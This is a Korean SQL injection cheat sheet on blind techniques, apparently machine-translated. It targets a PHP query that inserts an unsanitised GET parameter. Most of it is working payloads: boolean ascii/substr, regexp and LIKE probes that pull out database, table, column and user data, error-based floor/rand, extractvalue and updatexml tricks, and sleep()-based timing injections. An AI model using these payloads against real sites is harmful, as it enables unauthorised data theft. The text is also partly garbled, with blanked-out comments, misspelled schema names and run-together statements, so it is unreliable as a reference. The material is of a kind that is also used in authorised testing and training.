SQL 주입 - 블라인드 주입

10919 단어 SQL 주입
SQL 질의를 수행하면 해당 컨텐트가 페이지로 직접 반환되지 않으므로 블라인드를 시도할 수 있습니다.
  • 조회문
  • $id=$_GET['id'];
    SELECT * FROM test WHERE id='$id' LIMIT 0,1;

    1. 볼에 근거한 맹주
    페이지의 이상 여부를 통해 판단하다
    1.1 ascii() 주입
  • 폭MySQL 버전?id=1' AND left(version(),1)=5--+//판단은 5.x 버전 또는 4.x판은 본래 정보 유무를 판단한다schema 데이터베이스?id=1' AND substr(version(),1,1)=5--+//어느 버전인지 구체적으로 판단
  • 폭발 기록 수량?id=1' AND 1=(SELECT 1 FROM information_schema.schemata LIMIT 9,1)--+//LIMIT를 통해 몇 번째 기록의 귀환을 제한하고, 이 기록이 없으면 귀환이 없음
  • 폭발 기록 길이
  • ?id=1' AND length(SELECT schema_name FROM infromation_schema.schemata LIMIT 0,1)>5--+       //          
  • 폭고명
  • ?id=1' AND ascii(substr((SELECT schema_name FROM infromation_schema.schemata LIMIT 0,1),1,1))>100--+            //  substr()           ,    
  • 폭표명
  • ?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))>100--+
  • 폭발 필드 이름
  • ?id=1' AND ascii(substr((SELECT column_name FROM information_achema.columns WHERE table_achema='security' AND table_name='users' LIMIT 0,1),1,1))>100--+
  • 폭발 데이터
  • ?id=1' AND ascii(substr((SELECT user FROM security.users LIMIT 0,1),1,1))>100--+

    1.2 정규 주입
      
    SELECT user() regexp '^[a-z]';      //         a-z,   ,  1,    0
    SELECT * FROM users WHERE id=1 AND 1=(user() regexp '^[a-z]');          //         ,        
    SELECT * FROM users WHERE id=1 AND 1=(if((user() regexp '^[a-z]'),1,0));        //  if()    
      
    ?id=1' AND 1=(       )--+
    ?id=1' AND 1=(SELECT (   ) regexp '')--+            //SELECT  
          ascii()  

    1.3 LIKE 주입
    SELECT * FROM user WHERE id=1 AND 1=(user() LIKE '');       //     

    2. 오보에 근거한 맹주
  • Bug 8652
  • SELECT count(*) FROM information_schema.columns group by (concat(0x7e,(   ),0x7e,floor(rand(0)*2)))--+
    SELECT count(1) FROM information_schema.columns group by (concat(0x7e,(   ),0x7e,round(rand(0))))--+
  • XPATH 구문 오류
  • extractvalue(1,concat(0x7e,(   ),0x7e))
    updatexml(1,concat(0x7e,(   ),0x7e),1)

    사용 방법
    select  
    SELECT * FROM users WHERE id='' AND (    ) LIMIT 01SELECT * FROM users WHERE id='' OR (    ) LIMIT 01
    update  
    UPDATE users SET name='slip' AND (    ) where id=1;
    UPDATE users SET name='slip' OR (    ) where id=1;
    insert  
    INSERT INTO users(id,name) VALUES(1,(    ));
    INSERT INTO users(id,name) VALUES(1 AND (    ));
    delete  
    DELETE FROM users WHERE id=1 AND (    );
    DELETE FROM users WHERE id=1 OR (    );

    3. 시간에 기초한 맹주
      
    SELECT sleep(5);            //  5     
    if(ascii(a)>90,1,sleep(5))      //  if       
    case when    then     else     end      //if...else
      
    ?id=1' AND if(ascii(substr(   ),1,1)>100,1,sleep(5))--+
    ?id=1' AND case when (ascii(substr(   ) from 1 for 1)>100) then 1 else sleep(5) end--+

    좋은 웹페이지 즐겨찾기